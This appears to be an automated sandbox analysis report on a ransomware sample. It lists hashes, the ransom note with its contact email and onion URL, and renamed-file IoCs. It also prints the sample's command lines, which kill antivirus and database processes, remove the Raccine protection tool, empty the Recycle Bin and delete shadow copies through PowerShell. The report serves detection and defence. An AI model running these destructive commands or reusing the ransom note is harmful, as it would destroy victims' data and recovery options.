7163e267d5132a1df96df8ef045b10809c07048aded2ce87d2de1600cbd44b28

General

Target

sample.exe
Size

94KB
MD5

26f65722f6307386f3aa23237f44c24a
SHA1

d26becc64f43c7af17f2d39d3fc1b744ac3e8fbb
SHA256

cce5a753888cb5b044c767fe8e95e410ebdf1e1c79cabc95db1c9e1a8e81c5e7
SHA512

241c6ba3e95206827fe26ee6ef279e0bad2fbe6d4b55732fdacd078e2a977726a01bc16fd4b213b7483a1f1e74d1355dc416fb04ad8d86e3da2443cfa499bbb1

Score

10^/10

ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RECOVERY.txt

Ransom Note

All your important files are encrypted! Any attempts to recover your files using third-party software will have fatal consequences, the files will be changed forever, without the possibility of recovery. There is only one way to get your files back: install the tor browser (https://www.torproject.org/download ) Important: Create a new email in the service http://pflujznptk5lmuf6xwadfqy6nffykdvahfbljh7liljailjbxrgvhfid.onion/account/create for contact! write to me at Retailgaze@onionmail.org Send me your ID by email Key Identifier: SMODk6hMz5lk5zn8XQHTiQpkmWuc84m7seTi63tYw9WhR9jrjTN5ynODxNmzD+uMyxgFYLxyn9OWtkId5ypPEEeDlGNsy1NgTqxeng0ryTX60kH2EjSWUTLRUHOh9oH6d6OIKCUpbzQCtSMMXXL05PGAXCKSUFo/fDetmCt5Hqul9dh4eiwyC/KKh/cdG0LM7ofj16uMVweBSLkBenGCh918MC1itrbDiW8Yhf1+Ljgvu5+1TX4N36Aw0g8o9/mf7yyqxGvZkcJlSrkEGOdknH0EQUd1hLJi10XGpOUUgBBoYrOsxasjVnGPqr+L1j2PyD8txaaqd6Kpxr5DZ4b8id9bdYcbIUlW+fOY6Xtid314BC3lJEszqVQsBk4Ac9TxQu6Wh9XZ1SPq/DjMpJYwuWSgb1g5Wzg6DSZdlSGqYI61JHhx8fucrLASZp2RnFOADAMp/fwnVVkLLHOA6aU9yEZjnyevyWlHYqc0aCDEY17H5ygrF+ySudnTTMgmyX+1aIFXoTbxCTRkD6tRowPixiA3wR2VRJEI6NutVOCqC7vGRIaQofFK00L2RQk55nrTsIiQn3P/47h6jinfKb22XX8mqrs3fNh4rx8Jq4XaI3hpcUUm8msCPD6OepiTsFwBXQtA5oamvOamwztAgML+D6LfR53TUjcYTCYqS71nFOo=

Emails

Retailgaze@onionmail.org

URLs

http://pflujznptk5lmuf6xwadfqy6nffykdvahfbljh7liljailjbxrgvhfid.onion/account/create

Signatures

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

sample.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\ShowHide.tiff	sample.exe
File renamed	C:\Users\Admin\Pictures\ShowHide.tiff => C:\Users\Admin\Pictures\ShowHide.tiff.trins	sample.exe
File opened for modification	C:\Users\Admin\Pictures\ShowHide.tiff.trins	sample.exe
File renamed	C:\Users\Admin\Pictures\GrantShow.png => C:\Users\Admin\Pictures\GrantShow.png.trins	sample.exe
File opened for modification	C:\Users\Admin\Pictures\GrantShow.png.trins	sample.exe

Drops startup file 1 IoCs

Processes:

sample.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk sample.exe
Drops desktop.ini file(s) 1 IoCs

Processes:

sample.exe

description ioc process

File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini sample.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	sample.exe

description	ioc	process
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	sample.exe

Drops file in Windows directory 21 IoCs

Processes:

sample.exe

description	ioc	process
File opened for modification	C:\Windows\DtcInstall.log.trins	sample.exe
File opened for modification	C:\Windows\setuperr.log	sample.exe
File opened for modification	C:\Windows\WMSysPr9.prx	sample.exe
File opened for modification	C:\Windows\lsasetup.log.trins	sample.exe
File opened for modification	C:\Windows\Professional.xml	sample.exe
File opened for modification	C:\Windows\win.ini	sample.exe
File opened for modification	C:\Windows\system.ini	sample.exe
File opened for modification	C:\Windows\system.ini.trins	sample.exe
File opened for modification	C:\Windows\win.ini.trins	sample.exe
File opened for modification	C:\Windows\WindowsShell.Manifest	sample.exe
File opened for modification	C:\Windows\WindowsUpdate.log.trins	sample.exe
File opened for modification	C:\Windows\DtcInstall.log	sample.exe
File opened for modification	C:\Windows\lsasetup.log	sample.exe
File opened for modification	C:\Windows\setupact.log	sample.exe
File opened for modification	C:\Windows\PFRO.log.trins	sample.exe
File opened for modification	C:\Windows\Professional.xml.trins	sample.exe
File opened for modification	C:\Windows\setupact.log.trins	sample.exe
File opened for modification	C:\Windows\WindowsUpdate.log	sample.exe
File opened for modification	C:\Windows\bootstat.dat	sample.exe
File opened for modification	C:\Windows\mib.bin	sample.exe
File opened for modification	C:\Windows\PFRO.log	sample.exe

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

716 sc.exe
4752 sc.exe
1928 sc.exe
3740 sc.exe
4904 sc.exe
3804 sc.exe
2784 sc.exe
4692 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
716	sc.exe
4752	sc.exe
1928	sc.exe
3740	sc.exe
4904	sc.exe
3804	sc.exe
2784	sc.exe
4692	sc.exe

Kills process with taskkill 48 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4200	taskkill.exe
3628	taskkill.exe
3196	taskkill.exe
4756	taskkill.exe
3580	taskkill.exe
4280	taskkill.exe
2236	taskkill.exe
1764	taskkill.exe
896	taskkill.exe
3084	taskkill.exe
4144	taskkill.exe
5044	taskkill.exe
2780	taskkill.exe
2360	taskkill.exe
1272	taskkill.exe
3052	taskkill.exe
5000	taskkill.exe
1124	taskkill.exe
2196	taskkill.exe
4352	taskkill.exe
972	taskkill.exe
4028	taskkill.exe
628	taskkill.exe
3448	taskkill.exe
392	taskkill.exe
2472	taskkill.exe
1984	taskkill.exe
4020	taskkill.exe
2376	taskkill.exe
3796	taskkill.exe
5012	taskkill.exe
2076	taskkill.exe
2476	taskkill.exe
4972	taskkill.exe
4788	taskkill.exe
1140	taskkill.exe
1568	taskkill.exe
60	taskkill.exe
4100	taskkill.exe
2876	taskkill.exe
2028	taskkill.exe
4408	taskkill.exe
540	taskkill.exe
4320	taskkill.exe
5032	taskkill.exe
2696	taskkill.exe
1484	taskkill.exe
4292	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1724 reg.exe

pid	process
1724	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

sample.exe

pid	process
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe
524	sample.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

Processes:

sample.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	524	sample.exe
Token: SeDebugPrivilege	1124	taskkill.exe
Token: SeDebugPrivilege	4280	taskkill.exe
Token: SeDebugPrivilege	2196	taskkill.exe
Token: SeDebugPrivilege	4352	taskkill.exe
Token: SeDebugPrivilege	972	taskkill.exe
Token: SeDebugPrivilege	60	taskkill.exe
Token: SeDebugPrivilege	4200	taskkill.exe
Token: SeDebugPrivilege	2696	taskkill.exe
Token: SeDebugPrivilege	2236	taskkill.exe
Token: SeDebugPrivilege	1764	taskkill.exe
Token: SeDebugPrivilege	3196	taskkill.exe
Token: SeDebugPrivilege	3628	taskkill.exe
Token: SeDebugPrivilege	4100	taskkill.exe
Token: SeDebugPrivilege	4756	taskkill.exe
Token: SeDebugPrivilege	896	taskkill.exe
Token: SeDebugPrivilege	4028	taskkill.exe
Token: SeDebugPrivilege	3084	taskkill.exe
Token: SeDebugPrivilege	4144	taskkill.exe
Token: SeDebugPrivilege	628	taskkill.exe
Token: SeDebugPrivilege	4788	taskkill.exe
Token: SeDebugPrivilege	2876	taskkill.exe
Token: SeDebugPrivilege	5012	taskkill.exe
Token: SeDebugPrivilege	5044	taskkill.exe
Token: SeDebugPrivilege	2028	taskkill.exe
Token: SeDebugPrivilege	3448	taskkill.exe
Token: SeDebugPrivilege	2472	taskkill.exe
Token: SeDebugPrivilege	4408	taskkill.exe
Token: SeDebugPrivilege	2780	taskkill.exe
Token: SeDebugPrivilege	2360	taskkill.exe
Token: SeDebugPrivilege	1272	taskkill.exe
Token: SeDebugPrivilege	1140	taskkill.exe
Token: SeDebugPrivilege	540	taskkill.exe
Token: SeDebugPrivilege	1568	taskkill.exe
Token: SeDebugPrivilege	2476	taskkill.exe
Token: SeDebugPrivilege	4320	taskkill.exe
Token: SeDebugPrivilege	392	taskkill.exe
Token: SeDebugPrivilege	3052	taskkill.exe
Token: SeDebugPrivilege	3580	taskkill.exe
Token: SeDebugPrivilege	5000	taskkill.exe
Token: SeDebugPrivilege	5032	taskkill.exe
Token: SeDebugPrivilege	4972	taskkill.exe
Token: SeDebugPrivilege	1984	taskkill.exe
Token: SeDebugPrivilege	1484	taskkill.exe
Token: SeDebugPrivilege	4020	taskkill.exe
Token: SeDebugPrivilege	4292	taskkill.exe
Token: SeDebugPrivilege	2376	taskkill.exe
Token: SeDebugPrivilege	3796	taskkill.exe
Token: SeDebugPrivilege	3192	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

sample.exe

pid process

524 sample.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

sample.exe

pid process

524 sample.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

sample.exe

description	pid	process	target process
PID 524 wrote to memory of 1124	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 1124	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 1124	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 3644	524	sample.exe	reg.exe
PID 524 wrote to memory of 3644	524	sample.exe	reg.exe
PID 524 wrote to memory of 3644	524	sample.exe	reg.exe
PID 524 wrote to memory of 1724	524	sample.exe	reg.exe
PID 524 wrote to memory of 1724	524	sample.exe	reg.exe
PID 524 wrote to memory of 1724	524	sample.exe	reg.exe
PID 524 wrote to memory of 4500	524	sample.exe	schtasks.exe
PID 524 wrote to memory of 4500	524	sample.exe	schtasks.exe
PID 524 wrote to memory of 4500	524	sample.exe	schtasks.exe
PID 524 wrote to memory of 1708	524	sample.exe	cmd.exe
PID 524 wrote to memory of 1708	524	sample.exe	cmd.exe
PID 524 wrote to memory of 1708	524	sample.exe	cmd.exe
PID 524 wrote to memory of 1928	524	sample.exe	sc.exe
PID 524 wrote to memory of 1928	524	sample.exe	sc.exe
PID 524 wrote to memory of 1928	524	sample.exe	sc.exe
PID 524 wrote to memory of 3740	524	sample.exe	sc.exe
PID 524 wrote to memory of 3740	524	sample.exe	sc.exe
PID 524 wrote to memory of 3740	524	sample.exe	sc.exe
PID 524 wrote to memory of 4904	524	sample.exe	sc.exe
PID 524 wrote to memory of 4904	524	sample.exe	sc.exe
PID 524 wrote to memory of 4904	524	sample.exe	sc.exe
PID 524 wrote to memory of 3804	524	sample.exe	sc.exe
PID 524 wrote to memory of 3804	524	sample.exe	sc.exe
PID 524 wrote to memory of 3804	524	sample.exe	sc.exe
PID 524 wrote to memory of 2784	524	sample.exe	sc.exe
PID 524 wrote to memory of 2784	524	sample.exe	sc.exe
PID 524 wrote to memory of 2784	524	sample.exe	sc.exe
PID 524 wrote to memory of 4692	524	sample.exe	sc.exe
PID 524 wrote to memory of 4692	524	sample.exe	sc.exe
PID 524 wrote to memory of 4692	524	sample.exe	sc.exe
PID 524 wrote to memory of 716	524	sample.exe	sc.exe
PID 524 wrote to memory of 716	524	sample.exe	sc.exe
PID 524 wrote to memory of 716	524	sample.exe	sc.exe
PID 524 wrote to memory of 4752	524	sample.exe	sc.exe
PID 524 wrote to memory of 4752	524	sample.exe	sc.exe
PID 524 wrote to memory of 4752	524	sample.exe	sc.exe
PID 524 wrote to memory of 4280	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 4280	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 4280	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 2196	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 2196	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 2196	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 4352	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 4352	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 4352	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 972	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 972	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 972	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 60	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 60	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 60	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 2696	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 2696	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 2696	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 4200	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 4200	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 4200	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 2236	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 2236	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 2236	524	sample.exe	taskkill.exe
PID 524 wrote to memory of 1764	524	sample.exe	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\sample.exe
"C:\Users\Admin\AppData\Local\Temp\sample.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Drops desktop.ini file(s)
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:524

C:\Windows\SysWOW64\taskkill.exe
"taskkill" /F /IM RaccineSettings.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1124

C:\Windows\SysWOW64\reg.exe
"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
2⤵
PID:3644

C:\Windows\SysWOW64\reg.exe
"reg" delete HKCU\Software\Raccine /F
2⤵
- Modifies registry key
PID:1724

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /DELETE /TN "Raccine Rules Updater" /F
2⤵
PID:4500

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
2⤵
PID:1708

C:\Windows\SysWOW64\sc.exe
"sc.exe" config Dnscache start= auto
2⤵
- Launches sc.exe
PID:1928

C:\Windows\SysWOW64\sc.exe
"sc.exe" config FDResPub start= auto
2⤵
- Launches sc.exe
PID:3740

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLTELEMETRY start= disabled
2⤵
- Launches sc.exe
PID:4904

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SSDPSRV start= auto
2⤵
- Launches sc.exe
PID:3804

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
2⤵
- Launches sc.exe
PID:2784

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SstpSvc start= disabled
2⤵
- Launches sc.exe
PID:4692

C:\Windows\SysWOW64\sc.exe
"sc.exe" config upnphost start= auto
2⤵
- Launches sc.exe
PID:716

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLWriter start= disabled
2⤵
- Launches sc.exe
PID:4752

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mspub.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4280

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM synctime.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2196

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mspub.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4352

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mydesktopqos.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:972

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM firefoxconfig.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4200

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM Ntrtscan.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2696

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mysqld.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:60

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM agntsvc.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2236

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mydesktopservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1764

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM isqlplussvc.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3628

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM sqbcoreservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3196

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM thebat.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4100

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM steam.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4756

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM onenote.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4028

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM sqlwriter.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:896

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM ocomm.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3084

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM PccNTMon.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4144

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM tbirdconfig.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:628

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM encsvc.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4788

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM infopath.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2876

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM msaccess.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5012

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM dbeng50.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2028

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM excel.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5044

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mbamtray.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3448

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM outlook.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2472

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM CNTAoSMgr.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4408

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM thebat64.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2780

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM zoolz.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2360

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM tmlisten.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1272

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" IM thunderbird.exe /F
2⤵
- Kills process with taskkill
PID:2076

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM wordpad.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1140

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM dbsnmp.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:540

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM msftesql.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1568

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mysqld-opt.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2476

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM xfssvccon.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4320

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM powerpnt.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:392

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM ocautoupds.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3052

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mydesktopqos.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5000

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM ocssd.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3580

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM oracle.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5032

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM visio.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4972

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM sqlagent.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1984

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mydesktopservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1484

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM sqlbrowser.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4020

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM winword.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4292

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mysqld-nt.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2376

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM sqlservr.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3796

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3192

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/60-149-0x0000000000000000-mapping.dmp

Download
memory/392-180-0x0000000000000000-mapping.dmp

Download
memory/524-131-0x00000000049E0000-0x0000000004A46000-memory.dmp

Filesize
408KB

Download
memory/524-130-0x0000000000090000-0x00000000000AE000-memory.dmp

Filesize
120KB

Download
memory/540-176-0x0000000000000000-mapping.dmp

Download
memory/628-162-0x0000000000000000-mapping.dmp

Download
memory/716-143-0x0000000000000000-mapping.dmp

Download
memory/896-158-0x0000000000000000-mapping.dmp

Download
memory/972-148-0x0000000000000000-mapping.dmp

Download
memory/1124-132-0x0000000000000000-mapping.dmp

Download
memory/1140-175-0x0000000000000000-mapping.dmp

Download
memory/1272-173-0x0000000000000000-mapping.dmp

Download
memory/1484-187-0x0000000000000000-mapping.dmp

Download
memory/1568-177-0x0000000000000000-mapping.dmp

Download
memory/1708-136-0x0000000000000000-mapping.dmp

Download
memory/1724-134-0x0000000000000000-mapping.dmp

Download
memory/1764-153-0x0000000000000000-mapping.dmp

Download
memory/1928-137-0x0000000000000000-mapping.dmp

Download
memory/1984-186-0x0000000000000000-mapping.dmp

Download
memory/2028-166-0x0000000000000000-mapping.dmp

Download
memory/2076-174-0x0000000000000000-mapping.dmp

Download
memory/2196-146-0x0000000000000000-mapping.dmp

Download
memory/2236-152-0x0000000000000000-mapping.dmp

Download
memory/2360-172-0x0000000000000000-mapping.dmp

Download
memory/2376-190-0x0000000000000000-mapping.dmp

Download
memory/2472-169-0x0000000000000000-mapping.dmp

Download
memory/2476-178-0x0000000000000000-mapping.dmp

Download
memory/2696-150-0x0000000000000000-mapping.dmp

Download
memory/2780-171-0x0000000000000000-mapping.dmp

Download
memory/2784-141-0x0000000000000000-mapping.dmp

Download
memory/2876-164-0x0000000000000000-mapping.dmp

Download
memory/3052-181-0x0000000000000000-mapping.dmp

Download
memory/3084-160-0x0000000000000000-mapping.dmp

Download
memory/3192-192-0x0000000000000000-mapping.dmp

Download
memory/3192-197-0x0000000006730000-0x000000000674E000-memory.dmp

Filesize
120KB

Download
memory/3192-196-0x0000000006070000-0x00000000060D6000-memory.dmp

Filesize
408KB

Download
memory/3192-195-0x0000000005770000-0x0000000005792000-memory.dmp

Filesize
136KB

Download
memory/3192-194-0x00000000059D0000-0x0000000005FF8000-memory.dmp

Filesize
6.2MB

Download
memory/3192-193-0x0000000002E10000-0x0000000002E46000-memory.dmp

Filesize
216KB

Download
memory/3196-154-0x0000000000000000-mapping.dmp

Download
memory/3448-168-0x0000000000000000-mapping.dmp

Download
memory/3580-183-0x0000000000000000-mapping.dmp

Download
memory/3628-155-0x0000000000000000-mapping.dmp

Download
memory/3644-133-0x0000000000000000-mapping.dmp

Download
memory/3740-138-0x0000000000000000-mapping.dmp

Download
memory/3796-191-0x0000000000000000-mapping.dmp

Download
memory/3804-140-0x0000000000000000-mapping.dmp

Download
memory/4020-188-0x0000000000000000-mapping.dmp

Download
memory/4028-159-0x0000000000000000-mapping.dmp

Download
memory/4100-156-0x0000000000000000-mapping.dmp

Download
